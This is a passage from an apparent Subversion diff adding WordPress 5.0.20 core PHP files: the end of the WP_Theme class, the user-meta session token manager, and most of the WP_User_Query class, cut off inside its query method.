+		 * @param int   $blog_id        ID of the site.
+		 */
+		$network = (array) apply_filters( 'network_allowed_themes', self::get_allowed_on_network(), $blog_id );
+		return $network + self::get_allowed_on_site( $blog_id );
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the network.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @staticvar array $allowed_themes
+	 *
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed_on_network() {
+		static $allowed_themes;
+		if ( ! isset( $allowed_themes ) ) {
+			$allowed_themes = (array) get_site_option( 'allowedthemes' );
+		}
+
+		/**
+		 * Filters the array of themes allowed on the network.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param array $allowed_themes An array of theme stylesheet names.
+		 */
+		$allowed_themes = apply_filters( 'allowed_themes', $allowed_themes );
+
+		return $allowed_themes;
+	}
+
+	/**
+	 * Returns array of stylesheet names of themes allowed on the site.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @staticvar array $allowed_themes
+	 *
+	 * @param int $blog_id Optional. ID of the site. Defaults to the current site.
+	 * @return array Array of stylesheet names.
+	 */
+	public static function get_allowed_on_site( $blog_id = null ) {
+		static $allowed_themes = array();
+
+		if ( ! $blog_id || ! is_multisite() )
+			$blog_id = get_current_blog_id();
+
+		if ( isset( $allowed_themes[ $blog_id ] ) ) {
+			/**
+			 * Filters the array of themes allowed on the site.
+			 *
+			 * @since 4.5.0
+			 *
+			 * @param array $allowed_themes An array of theme stylesheet names.
+			 * @param int   $blog_id        ID of the site. Defaults to current site.
+			 */
+			return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id );
+		}
+
+		$current = $blog_id == get_current_blog_id();
+
+		if ( $current ) {
+			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
+		} else {
+			switch_to_blog( $blog_id );
+			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
+			restore_current_blog();
+		}
+
+		// This is all super old MU back compat joy.
+		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
+		if ( false === $allowed_themes[ $blog_id ] ) {
+			if ( $current ) {
+				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
+			} else {
+				switch_to_blog( $blog_id );
+				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
+				restore_current_blog();
+			}
+
+			if ( ! is_array( $allowed_themes[ $blog_id ] ) || empty( $allowed_themes[ $blog_id ] ) ) {
+				$allowed_themes[ $blog_id ] = array();
+			} else {
+				$converted = array();
+				$themes = wp_get_themes();
+				foreach ( $themes as $stylesheet => $theme_data ) {
+					if ( isset( $allowed_themes[ $blog_id ][ $theme_data->get('Name') ] ) )
+						$converted[ $stylesheet ] = true;
+				}
+				$allowed_themes[ $blog_id ] = $converted;
+			}
+			// Set the option so we never have to go through this pain again.
+			if ( is_admin() && $allowed_themes[ $blog_id ] ) {
+				if ( $current ) {
+					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
+					delete_option( 'allowed_themes' );
+				} else {
+					switch_to_blog( $blog_id );
+					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
+					delete_option( 'allowed_themes' );
+					restore_current_blog();
+				}
+			}
+		}
+
+		/** This filter is documented in wp-includes/class-wp-theme.php */
+		return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id );
+	}
+
+	/**
+	 * Enables a theme for all sites on the current network.
+	 *
+	 * @since 4.6.0
+	 * @static
+	 *
+	 * @param string|array $stylesheets Stylesheet name or array of stylesheet names.
+	 */
+	public static function network_enable_theme( $stylesheets ) {
+		if ( ! is_multisite() ) {
+			return;
+		}
+
+		if ( ! is_array( $stylesheets ) ) {
+			$stylesheets = array( $stylesheets );
+		}
+
+		$allowed_themes = get_site_option( 'allowedthemes' );
+		foreach ( $stylesheets as $stylesheet ) {
+			$allowed_themes[ $stylesheet ] = true;
+		}
+
+		update_site_option( 'allowedthemes', $allowed_themes );
+	}
+
+	/**
+	 * Disables a theme for all sites on the current network.
+	 *
+	 * @since 4.6.0
+	 * @static
+	 *
+	 * @param string|array $stylesheets Stylesheet name or array of stylesheet names.
+	 */
+	public static function network_disable_theme( $stylesheets ) {
+		if ( ! is_multisite() ) {
+			return;
+		}
+
+		if ( ! is_array( $stylesheets ) ) {
+			$stylesheets = array( $stylesheets );
+		}
+
+		$allowed_themes = get_site_option( 'allowedthemes' );
+		foreach ( $stylesheets as $stylesheet ) {
+			if ( isset( $allowed_themes[ $stylesheet ] ) ) {
+				unset( $allowed_themes[ $stylesheet ] );
+			}
+		}
+
+		update_site_option( 'allowedthemes', $allowed_themes );
+	}
+
+	/**
+	 * Sorts themes by name.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param array $themes Array of themes to sort (passed by reference).
+	 */
+	public static function sort_by_name( &$themes ) {
+		if ( 0 === strpos( get_user_locale(), 'en_' ) ) {
+			uasort( $themes, array( 'WP_Theme', '_name_sort' ) );
+		} else {
+			uasort( $themes, array( 'WP_Theme', '_name_sort_i18n' ) );
+		}
+	}
+
+	/**
+	 * Callback function for usort() to naturally sort themes by name.
+	 *
+	 * Accesses the Name header directly from the class for maximum speed.
+	 * Would choke on HTML but we don't care enough to slow it down with strip_tags().
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param string $a First name.
+	 * @param string $b Second name.
+	 * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally.
+	 *             Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort().
+	 */
+	private static function _name_sort( $a, $b ) {
+		return strnatcasecmp( $a->headers['Name'], $b->headers['Name'] );
+	}
+
+	/**
+	 * Name sort (with translation).
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param string $a First name.
+	 * @param string $b Second name.
+	 * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally.
+	 *             Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort().
+	 */
+	private static function _name_sort_i18n( $a, $b ) {
+		// Don't mark up; Do translate.
+		return strnatcasecmp( $a->display( 'Name', false, true ), $b->display( 'Name', false, true ) );
+	}
+
+	private static function _check_headers_property_has_correct_type( $headers ) {
+		if ( ! is_array( $headers ) ) {
+			return false;
+		}
+		foreach ( $headers as $key => $value ) {
+			if ( ! is_string( $key ) || ! is_string( $value ) ) {
+				return false;
+			}
+		}
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-user-meta-session-tokens.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-user-meta-session-tokens.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-user-meta-session-tokens.php	(revision 56912)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Session API: WP_User_Meta_Session_Tokens class
+ *
+ * @package WordPress
+ * @subpackage Session
+ * @since 4.7.0
+ */
+
+/**
+ * Meta-based user sessions token manager.
+ *
+ * @since 4.0.0
+ */
+class WP_User_Meta_Session_Tokens extends WP_Session_Tokens {
+
+	/**
+	 * Get all sessions of a user.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array Sessions of a user.
+	 */
+	protected function get_sessions() {
+		$sessions = get_user_meta( $this->user_id, 'session_tokens', true );
+
+		if ( ! is_array( $sessions ) ) {
+			return array();
+		}
+
+		$sessions = array_map( array( $this, 'prepare_session' ), $sessions );
+		return array_filter( $sessions, array( $this, 'is_still_valid' ) );
+	}
+
+	/**
+	 * Converts an expiration to an array of session information.
+	 *
+	 * @param mixed $session Session or expiration.
+	 * @return array Session.
+	 */
+	protected function prepare_session( $session ) {
+		if ( is_int( $session ) ) {
+			return array( 'expiration' => $session );
+		}
+
+		return $session;
+	}
+
+	/**
+	 * Retrieve a session by its verifier (token hash).
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to retrieve.
+	 * @return array|null The session, or null if it does not exist
+	 */
+	protected function get_session( $verifier ) {
+		$sessions = $this->get_sessions();
+
+		if ( isset( $sessions[ $verifier ] ) ) {
+			return $sessions[ $verifier ];
+		}
+
+		return null;
+	}
+
+	/**
+	 * Update a session by its verifier.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to update.
+	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
+	 */
+	protected function update_session( $verifier, $session = null ) {
+		$sessions = $this->get_sessions();
+
+		if ( $session ) {
+			$sessions[ $verifier ] = $session;
+		} else {
+			unset( $sessions[ $verifier ] );
+		}
+
+		$this->update_sessions( $sessions );
+	}
+
+	/**
+	 * Update a user's sessions in the usermeta table.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $sessions Sessions.
+	 */
+	protected function update_sessions( $sessions ) {
+		if ( $sessions ) {
+			update_user_meta( $this->user_id, 'session_tokens', $sessions );
+		} else {
+			delete_user_meta( $this->user_id, 'session_tokens' );
+		}
+	}
+
+	/**
+	 * Destroy all session tokens for a user, except a single session passed.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to keep.
+	 */
+	protected function destroy_other_sessions( $verifier ) {
+		$session = $this->get_session( $verifier );
+		$this->update_sessions( array( $verifier => $session ) );
+	}
+
+	/**
+	 * Destroy all session tokens for a user.
+	 *
+	 * @since 4.0.0
+	 */
+	protected function destroy_all_sessions() {
+		$this->update_sessions( array() );
+	}
+
+	/**
+	 * Destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 */
+	public static function drop_sessions() {
+		delete_metadata( 'user', 0, 'session_tokens', false, true );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-user-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-user-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-user-query.php	(revision 56912)
@@ -0,0 +1,860 @@
+<?php
+/**
+ * User API: WP_User_Query class
+ *
+ * @package WordPress
+ * @subpackage Users
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used for querying users.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_User_Query::prepare_query() for information on accepted arguments.
+ */
+class WP_User_Query {
+
+	/**
+	 * Query vars, after parsing
+	 *
+	 * @since 3.5.0
+	 * @var array
+	 */
+	public $query_vars = array();
+
+	/**
+	 * List of found user ids
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	private $results;
+
+	/**
+	 * Total number of found users for the current query
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 */
+	private $total_users = 0;
+
+	/**
+	 * Metadata query container.
+	 *
+	 * @since 4.2.0
+	 * @var WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * The SQL query used to fetch matching users.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $request;
+
+	private $compat_fields = array( 'results', 'total_users' );
+
+	// SQL clauses
+	public $query_fields;
+	public $query_from;
+	public $query_where;
+	public $query_orderby;
+	public $query_limit;
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|string|array $query Optional. The query variables.
+	 */
+	public function __construct( $query = null ) {
+		if ( ! empty( $query ) ) {
+			$this->prepare_query( $query );
+			$this->query();
+		}
+	}
+
+	/**
+	 * Fills in missing query variables with default values.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $args Query vars, as passed to `WP_User_Query`.
+	 * @return array Complete query variables with undefined ones filled in with defaults.
+	 */
+	public static function fill_query_vars( $args ) {
+		$defaults = array(
+			'blog_id' => get_current_blog_id(),
+			'role' => '',
+			'role__in' => array(),
+			'role__not_in' => array(),
+			'meta_key' => '',
+			'meta_value' => '',
+			'meta_compare' => '',
+			'include' => array(),
+			'exclude' => array(),
+			'search' => '',
+			'search_columns' => array(),
+			'orderby' => 'login',
+			'order' => 'ASC',
+			'offset' => '',
+			'number' => '',
+			'paged' => 1,
+			'count_total' => true,
+			'fields' => 'all',
+			'who' => '',
+			'has_published_posts' => null,
+			'nicename' => '',
+			'nicename__in' => array(),
+			'nicename__not_in' => array(),
+			'login' => '',
+			'login__in' => array(),
+			'login__not_in' => array()
+		);
+
+		return wp_parse_args( $args, $defaults );
+	}
+
+	/**
+	 * Prepare the query variables.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.0 Added the ability to order by the `include` value.
+	 * @since 4.2.0 Added 'meta_value_num' support for `$orderby` parameter. Added multi-dimensional array syntax
+	 *              for `$orderby` parameter.
+	 * @since 4.3.0 Added 'has_published_posts' parameter.
+	 * @since 4.4.0 Added 'paged', 'role__in', and 'role__not_in' parameters. The 'role' parameter was updated to
+	 *              permit an array or comma-separated list of values. The 'number' parameter was updated to support
+	 *              querying for all users with using -1.
+	 * @since 4.7.0 Added 'nicename', 'nicename__in', 'nicename__not_in', 'login', 'login__in',
+	 *              and 'login__not_in' parameters.
+	 *
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 * @global int  $blog_id
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or string of Query parameters.
+	 *
+	 *     @type int          $blog_id             The site ID. Default is the current site.
+	 *     @type string|array $role                An array or a comma-separated list of role names that users must match
+	 *                                             to be included in results. Note that this is an inclusive list: users
+	 *                                             must match *each* role. Default empty.
+	 *     @type array        $role__in            An array of role names. Matched users must have at least one of these
+	 *                                             roles. Default empty array.
+	 *     @type array        $role__not_in        An array of role names to exclude. Users matching one or more of these
+	 *                                             roles will not be included in results. Default empty array.
+	 *     @type string       $meta_key            User meta key. Default empty.
+	 *     @type string       $meta_value          User meta value. Default empty.
+	 *     @type string       $meta_compare        Comparison operator to test the `$meta_value`. Accepts '=', '!=',
+	 *                                             '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN',
+	 *                                             'BETWEEN', 'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP',
+	 *                                             'NOT REGEXP', or 'RLIKE'. Default '='.
+	 *     @type array        $include             An array of user IDs to include. Default empty array.
+	 *     @type array        $exclude             An array of user IDs to exclude. Default empty array.
+	 *     @type string       $search              Search keyword. Searches for possible string matches on columns.
+	 *                                             When `$search_columns` is left empty, it tries to determine which
+	 *                                             column to search in based on search string. Default empty.
+	 *     @type array        $search_columns      Array of column names to be searched. Accepts 'ID', 'login',
+	 *                                             'nicename', 'email', 'url'. Default empty array.
+	 *     @type string|array $orderby             Field(s) to sort the retrieved users by. May be a single value,
+	 *                                             an array of values, or a multi-dimensional array with fields as
+	 *                                             keys and orders ('ASC' or 'DESC') as values. Accepted values are
+	 *                                             'ID', 'display_name' (or 'name'), 'include', 'user_login'
+	 *                                             (or 'login'), 'login__in', 'user_nicename' (or 'nicename'),
+	 *                                             'nicename__in', 'user_email (or 'email'), 'user_url' (or 'url'),
+	 *                                             'user_registered' (or 'registered'), 'post_count', 'meta_value',
+	 *                                             'meta_value_num', the value of `$meta_key`, or an array key of
+	 *                                             `$meta_query`. To use 'meta_value' or 'meta_value_num', `$meta_key`
+	 *                                             must be also be defined. Default 'user_login'.
+	 *     @type string       $order               Designates ascending or descending order of users. Order values
+	 *                                             passed as part of an `$orderby` array take precedence over this
+	 *                                             parameter. Accepts 'ASC', 'DESC'. Default 'ASC'.
+	 *     @type int          $offset              Number of users to offset in retrieved results. Can be used in
+	 *                                             conjunction with pagination. Default 0.
+	 *     @type int          $number              Number of users to limit the query for. Can be used in
+	 *                                             conjunction with pagination. Value -1 (all) is supported, but
+	 *                                             should be used with caution on larger sites.
+	 *                                             Default empty (all users).
+	 *     @type int          $paged               When used with number, defines the page of results to return.
+	 *                                             Default 1.
+	 *     @type bool         $count_total         Whether to count the total number of users found. If pagination
+	 *                                             is not needed, setting this to false can improve performance.
+	 *                                             Default true.
+	 *     @type string|array $fields              Which fields to return. Single or all fields (string), or array
+	 *                                             of fields. Accepts 'ID', 'display_name', 'user_login',
+	 *                                             'user_nicename', 'user_email', 'user_url', 'user_registered'.
+	 *                                             Use 'all' for all fields and 'all_with_meta' to include
+	 *                                             meta fields. Default 'all'.
+	 *     @type string       $who                 Type of users to query. Accepts 'authors'.
+	 *                                             Default empty (all users).
+	 *     @type bool|array   $has_published_posts Pass an array of post types to filter results to users who have
+	 *                                             published posts in those post types. `true` is an alias for all
+	 *                                             public post types.
+	 *     @type string       $nicename            The user nicename. Default empty.
+	 *     @type array        $nicename__in        An array of nicenames to include. Users matching one of these
+	 *                                             nicenames will be included in results. Default empty array.
+	 *     @type array        $nicename__not_in    An array of nicenames to exclude. Users matching one of these
+	 *                                             nicenames will not be included in results. Default empty array.
+	 *     @type string       $login               The user login. Default empty.
+	 *     @type array        $login__in           An array of logins to include. Users matching one of these
+	 *                                             logins will be included in results. Default empty array.
+	 *     @type array        $login__not_in       An array of logins to exclude. Users matching one of these
+	 *                                             logins will not be included in results. Default empty array.
+	 * }
+	 */
+	public function prepare_query( $query = array() ) {
+		global $wpdb;
+
+		if ( empty( $this->query_vars ) || ! empty( $query ) ) {
+			$this->query_limit = null;
+			$this->query_vars = $this->fill_query_vars( $query );
+		}
+
+		/**
+		 * Fires before the WP_User_Query has been parsed.
+		 *
+		 * The passed WP_User_Query object contains the query variables, not
+		 * yet passed into SQL.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param WP_User_Query $this The current WP_User_Query instance,
+		 *                            passed by reference.
+		 */
+		do_action( 'pre_get_users', $this );
+
+		// Ensure that query vars are filled after 'pre_get_users'.
+		$qv =& $this->query_vars;
+		$qv =  $this->fill_query_vars( $qv );
+
+		if ( is_array( $qv['fields'] ) ) {
+			$qv['fields'] = array_unique( $qv['fields'] );
+
+			$this->query_fields = array();
+			foreach ( $qv['fields'] as $field ) {
+				$field = 'ID' === $field ? 'ID' : sanitize_key( $field );
+				$this->query_fields[] = "$wpdb->users.$field";
+			}
+			$this->query_fields = implode( ',', $this->query_fields );
+		} elseif ( 'all' == $qv['fields'] ) {
+			$this->query_fields = "$wpdb->users.*";
+		} else {
+			$this->query_fields = "$wpdb->users.ID";
+		}
+
+		if ( isset( $qv['count_total'] ) && $qv['count_total'] )
+			$this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
+
+		$this->query_from = "FROM $wpdb->users";
+		$this->query_where = "WHERE 1=1";
+
+		// Parse and sanitize 'include', for use by 'orderby' as well as 'include' below.
+		if ( ! empty( $qv['include'] ) ) {
+			$include = wp_parse_id_list( $qv['include'] );
+		} else {
+			$include = false;
+		}
+
+		$blog_id = 0;
+		if ( isset( $qv['blog_id'] ) ) {
+			$blog_id = absint( $qv['blog_id'] );
+		}
+
+		if ( $qv['has_published_posts'] && $blog_id ) {
+			if ( true === $qv['has_published_posts'] ) {
+				$post_types = get_post_types( array( 'public' => true ) );
+			} else {
+				$post_types = (array) $qv['has_published_posts'];
+			}
+
+			foreach ( $post_types as &$post_type ) {
+				$post_type = $wpdb->prepare( '%s', $post_type );
+			}
+
+			$posts_table = $wpdb->get_blog_prefix( $blog_id ) . 'posts';
+			$this->query_where .= " AND $wpdb->users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = 'publish' AND $posts_table.post_type IN ( " . join( ", ", $post_types ) . " ) )";
+		}
+
+		// nicename
+		if ( '' !== $qv['nicename']) {
+			$this->query_where .= $wpdb->prepare( ' AND user_nicename = %s', $qv['nicename'] );
+		}
+
+		if ( ! empty( $qv['nicename__in'] ) ) {
+			$sanitized_nicename__in = array_map( 'esc_sql', $qv['nicename__in'] );
+			$nicename__in = implode( "','", $sanitized_nicename__in );
+			$this->query_where .= " AND user_nicename IN ( '$nicename__in' )";
+		}
+
+		if ( ! empty( $qv['nicename__not_in'] ) ) {
+			$sanitized_nicename__not_in = array_map( 'esc_sql', $qv['nicename__not_in'] );
+			$nicename__not_in = implode( "','", $sanitized_nicename__not_in );
+			$this->query_where .= " AND user_nicename NOT IN ( '$nicename__not_in' )";
+		}
+
+		// login
+		if ( '' !== $qv['login']) {
+			$this->query_where .= $wpdb->prepare( ' AND user_login = %s', $qv['login'] );
+		}
+
+		if ( ! empty( $qv['login__in'] ) ) {
+			$sanitized_login__in = array_map( 'esc_sql', $qv['login__in'] );
+			$login__in = implode( "','", $sanitized_login__in );
+			$this->query_where .= " AND user_login IN ( '$login__in' )";
+		}
+
+		if ( ! empty( $qv['login__not_in'] ) ) {
+			$sanitized_login__not_in = array_map( 'esc_sql', $qv['login__not_in'] );
+			$login__not_in = implode( "','", $sanitized_login__not_in );
+			$this->query_where .= " AND user_login NOT IN ( '$login__not_in' )";
+		}
+
+		// Meta query.
+		$this->meta_query = new WP_Meta_Query();
+		$this->meta_query->parse_query_vars( $qv );
+
+		if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
+			$who_query = array(
+				'key' => $wpdb->get_blog_prefix( $blog_id ) . 'user_level',
+				'value' => 0,
+				'compare' => '!=',
+			);
+
+			// Prevent extra meta query.
+			$qv['blog_id'] = $blog_id = 0;
+
+			if ( empty( $this->meta_query->queries ) ) {
+				$this->meta_query->queries = array( $who_query );
+			} else {
+				// Append the cap query to the original queries and reparse the query.
+				$this->meta_query->queries = array(
+					'relation' => 'AND',
+					array( $this->meta_query->queries, $who_query ),
+				);
+			}
+
+			$this->meta_query->parse_query_vars( $this->meta_query->queries );
+		}
+
+		$roles = array();
+		if ( isset( $qv['role'] ) ) {
+			if ( is_array( $qv['role'] ) ) {
+				$roles = $qv['role'];
+			} elseif ( is_string( $qv['role'] ) && ! empty( $qv['role'] ) ) {
+				$roles = array_map( 'trim', explode( ',', $qv['role'] ) );
+			}
+		}
+
+		$role__in = array();
+		if ( isset( $qv['role__in'] ) ) {
+			$role__in = (array) $qv['role__in'];
+		}
+
+		$role__not_in = array();
+		if ( isset( $qv['role__not_in'] ) ) {
+			$role__not_in = (array) $qv['role__not_in'];
+		}
+
+		if ( $blog_id && ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) {
+			$role_queries  = array();
+
+			$roles_clauses = array( 'relation' => 'AND' );
+			if ( ! empty( $roles ) ) {
+				foreach ( $roles as $role ) {
+					$roles_clauses[] = array(
+						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
+						'value'   => '"' . $role . '"',
+						'compare' => 'LIKE',
+					);
+				}
+
+				$role_queries[] = $roles_clauses;
+			}
+
+			$role__in_clauses = array( 'relation' => 'OR' );
+			if ( ! empty( $role__in ) ) {
+				foreach ( $role__in as $role ) {
+					$role__in_clauses[] = array(
+						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
+						'value'   => '"' . $role . '"',
+						'compare' => 'LIKE',
+					);
+				}
+
+				$role_queries[] = $role__in_clauses;
+			}
+
+			$role__not_in_clauses = array( 'relation' => 'AND' );
+			if ( ! empty( $role__not_in ) ) {
+				foreach ( $role__not_in as $role ) {
+					$role__not_in_clauses[] = array(
+						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
+						'value'   => '"' . $role . '"',
+						'compare' => 'NOT LIKE',
+					);
+				}
+
+				$role_queries[] = $role__not_in_clauses;
+			}
+
+			// If there are no specific roles named, make sure the user is a member of the site.
+			if ( empty( $role_queries ) ) {
+				$role_queries[] = array(
+					'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
+					'compare' => 'EXISTS',
+				);
+			}
+
+			// Specify that role queries should be joined with AND.
+			$role_queries['relation'] = 'AND';
+
+			if ( empty( $this->meta_query->queries ) ) {
+				$this->meta_query->queries = $role_queries;
+			} else {
+				// Append the cap query to the original queries and reparse the query.
+				$this->meta_query->queries = array(
+					'relation' => 'AND',
+					array( $this->meta_query->queries, $role_queries ),
+				);
+			}
+
+			$this->meta_query->parse_query_vars( $this->meta_query->queries );
+		}
+
+		if ( ! empty( $this->meta_query->queries ) ) {
+			$clauses = $this->meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
+			$this->query_from .= $clauses['join'];
+			$this->query_where .= $clauses['where'];
+
+			if ( $this->meta_query->has_or_relation() ) {
+				$this->query_fields = 'DISTINCT ' . $this->query_fields;
+			}
+		}
+
+		// sorting
+		$qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
+		$order = $this->parse_order( $qv['order'] );
+
+		if ( empty( $qv['orderby'] ) ) {
+			// Default order is by 'user_login'.
+			$ordersby = array( 'user_login' => $order );
+		} elseif ( is_array( $qv['orderby'] ) ) {
+			$ordersby = $qv['orderby'];
+		} else {
+			// 'orderby' values may be a comma- or space-separated list.
+			$ordersby = preg_split( '/[,\s]+/', $qv['orderby'] );
+		}
+
+		$orderby_array = array();
+		foreach ( $ordersby as $_key => $_value ) {
+			if ( ! $_value ) {
+				continue;
+			}
+
+			if ( is_int( $_key ) ) {
+				// Integer key means this is a flat array of 'orderby' fields.
+				$_orderby = $_value;
+				$_order = $order;
+			} else {
+				// Non-integer key means this the key is the field and the value is ASC/DESC.
+				$_orderby = $_key;
+				$_order = $_value;
+			}
+
+			$parsed = $this->parse_orderby( $_orderby );
+
+			if ( ! $parsed ) {
+				continue;
+			}
+
+			if ( 'nicename__in' === $_orderby || 'login__in' === $_orderby ) {
+				$orderby_array[] = $parsed;
+			} else {
+				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
+			}
+		}
+
+		// If no valid clauses were found, order by user_login.
+		if ( empty( $orderby_array ) ) {
+			$orderby_array[] = "user_login $order";
+		}
+
+		$this->query_orderby = 'ORDER BY ' . implode( ', ', $orderby_array );
+
+		// limit
+		if ( isset( $qv['number'] ) && $qv['number'] > 0 ) {
+			if ( $qv['offset'] ) {
+				$this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
+			} else {
+				$this->query_limit = $wpdb->prepare( "LIMIT %d, %d", $qv['number'] * ( $qv['paged'] - 1 ), $qv['number'] );
+			}
+		}
+
+		$search = '';
+		if ( isset( $qv['search'] ) )
+			$search = trim( $qv['search'] );
+
+		if ( $search ) {
+			$leading_wild = ( ltrim($search, '*') != $search );
+			$trailing_wild = ( rtrim($search, '*') != $search );
+			if ( $leading_wild && $trailing_wild )
+				$wild = 'both';
+			elseif ( $leading_wild )
+				$wild = 'leading';
+			elseif ( $trailing_wild )
+				$wild = 'trailing';
+			else
+				$wild = false;
+			if ( $wild )
+				$search = trim($search, '*');
+
+			$search_columns = array();
+			if ( $qv['search_columns'] ) {
+				$search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename', 'display_name' ) );
+			}
+			if ( ! $search_columns ) {
+				if ( false !== strpos( $search, '@') )
+					$search_columns = array('user_email');
+				elseif ( is_numeric($search) )
+					$search_columns = array('user_login', 'ID');
+				elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
+					$search_columns = array('user_url');
+				else
+					$search_columns = array('user_login', 'user_url', 'user_email', 'user_nicename', 'display_name');
+			}
+
+			/**
+			 * Filters the columns to search in a WP_User_Query search.
+			 *
+			 * The default columns depend on the search term, and include 'user_email',
+			 * 'user_login', 'ID', 'user_url', 'display_name', and 'user_nicename'.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param array         $search_columns Array of column names to be searched.
+			 * @param string        $search         Text being searched.
+			 * @param WP_User_Query $this           The current WP_User_Query instance.
+			 */
+			$search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
+
+			$this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
+		}
+
+		if ( ! empty( $include ) ) {
+			// Sanitized earlier.
+			$ids = implode( ',', $include );
+			$this->query_where .= " AND $wpdb->users.ID IN ($ids)";
+		} elseif ( ! empty( $qv['exclude'] ) ) {
+			$ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
+			$this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
+		}
+
+		// Date queries are allowed for the user_registered field.
+		if ( ! empty( $qv['date_query'] ) && is_array( $qv['date_query'] ) ) {
+			$date_query = new WP_Date_Query( $qv['date_query'], 'user_registered' );
+			$this->query_where .= $date_query->get_sql();
+		}
+
+		/**
+		 * Fires after the WP_User_Query has been parsed, and before
+		 * the query is executed.
+		 *
+		 * The passed WP_User_Query object contains SQL parts formed
+		 * from parsing the given query.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param WP_User_Query $this The current WP_User_Query instance,
+		 *                            passed by reference.
+		 */
+		do_action_ref_array( 'pre_user_query', array( &$this ) );
+	}
+
+	/**
+	 * Execute the query, with the current variables.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 */
+	public function query() {
+		global $wpdb;
+
+		$qv =& $this->query_vars;
+
+		$this->request = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
+
+		if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
+			$this->results = $wpdb->get_results( $this->request );
+		} else {
+			$this->results = $wpdb->get_col( $this->request );
+		}
+
+		/**
+		 * Filters SELECT FOUND_ROWS() query for the current WP_User_Query instance.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @global wpdb $wpdb WordPress database abstraction object.
+		 *
+		 * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
+		 */
+		if ( isset( $qv['count_total'] ) && $qv['count_total'] )
+			$this->total_users = (int) $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
+
+		if ( !$this->results )
+			return;
+
+		if ( 'all_with_meta' == $qv['fields'] ) {
+			cache_users( $this->results );
+
+			$r = array();
+			foreach ( $this->results as $userid )
+				$r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
